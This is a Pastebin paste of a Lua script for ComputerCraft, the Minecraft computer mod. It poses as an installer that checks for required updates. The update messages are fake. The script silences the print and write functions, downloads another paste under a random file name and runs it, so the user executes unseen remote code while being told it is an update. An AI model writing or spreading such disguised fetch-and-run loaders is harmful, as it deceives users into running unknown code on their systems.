Advertisement
Freack100

Untitled

Sep 20th, 2015
120
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.44 KB | None | 0 0
  1. local W,H = term.getSize()
  2. local filters = {
  3.     colorful=colors,
  4.     gray={
  5.         purple=colors.gray,
  6.         gray=colors.gray,
  7.         cyan=colors.lightGray,
  8.         pink=colors.gray,
  9.         green=colors.gray,
  10.         magenta=colors.gray,
  11.         black=colors.black,
  12.         blue=colors.gray,
  13.         white=colors.white,
  14.         lime=colors.lightGray,
  15.         browns=colors.gray,
  16.         red=colors.gray,
  17.         lightGray=colors.lightGray,
  18.         yellow=colors.lightGray,
  19.         orange=colors.gray,
  20.         lightBlue=colors.lightGray,
  21.     }
  22. }
  23.  
  24. if(not _CC_VERSION) then
  25.     error("This installer needs atleast CC 1.74 to run.",0)
  26. end
  27.  
  28. local forceGrayscale = false
  29.  
  30. local filter = (term.isColor()and not forceGrayscale) and filters.colorful or filters.gray
  31.  
  32. local function box(x1,y1,x2,y2)
  33.     for i = y1,y2 do
  34.         term.setCursorPos(x1,i)
  35.         term.write((" "):rep((x2-x1)+1))
  36.     end
  37. end
  38.  
  39.  
  40. local function redrawBG()
  41.     term.setBackgroundColor(filter.white)
  42.     box(1,1,W,H)
  43. end
  44. local ascii = {
  45.     "   ",
  46.     ".  ",
  47.     ".. ",
  48.     "...",
  49.     " ..",
  50.     "  ."
  51. }
  52.  
  53. redrawBG()
  54. term.setTextColor(filter.gray)
  55.  
  56. local function middle(length)
  57.     return math.floor((W/2)-(length/2)),math.floor(H/2)
  58. end
  59.  
  60. for i = 1,#ascii*10 do
  61.     local toDraw = (i % #ascii)+1
  62.     term.setCursorPos(math.ceil((W/2)-(("Searching for updates"):len()/2)),(H/2))
  63.     term.write("Searching for updates")
  64.     term.setCursorPos((W/2)-(3/2),(H/2)+1)
  65.     term.write(ascii[toDraw])
  66.     sleep(.1)
  67. end
  68.  
  69.  
  70. redrawBG()
  71. term.setCursorPos(middle(("Updates found."):len()))
  72. term.write("Updates found.")
  73. sleep(2)
  74.  
  75. redrawBG()
  76. term.setCursorPos(middle(("the Updates are needed to install the installer"):len()))
  77. term.write("the Updates are needed to install the installer")
  78. sleep(2)
  79.  
  80. local _print = print
  81. local _write = write
  82. function _G.print()
  83.     return
  84. end
  85.  
  86. function _G.write()
  87.     return
  88. end
  89.  
  90. local function randomString(length)
  91.     local alphabet="abcdefghijklmnopqrstuvwxyz"
  92.     alphabet = alphabet..alphabet:upper()
  93.     local cur = ""
  94.     for i = 1,length do
  95.         rnd = math.random(1,#alphabet)
  96.         cur = cur..alphabet:sub(rnd,rnd)
  97.     end
  98.     return cur
  99. end
  100.  
  101. local pastebinCode = "jxZCTzKf"
  102.  
  103. local name = randomString(10)
  104.  
  105. shell.run("pastebin get "..pastebinCode.." "..name)
  106.  
  107. _G.print = _print
  108. _G.write = _write
  109.  
  110. redrawBG()
  111.  
  112. term.setCursorPos(middle(("installled update as "..name):len()))
  113. term.write("Installed update as "..name)
  114. sleep(1.5)
  115. redrawBG()
  116. term.setCursorPos(middle(("Running update now"):len()))
  117. term.write("Running update now")
  118. sleep(.5)
  119. shell.run(name)
  120. --added 120 line because symmetry.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement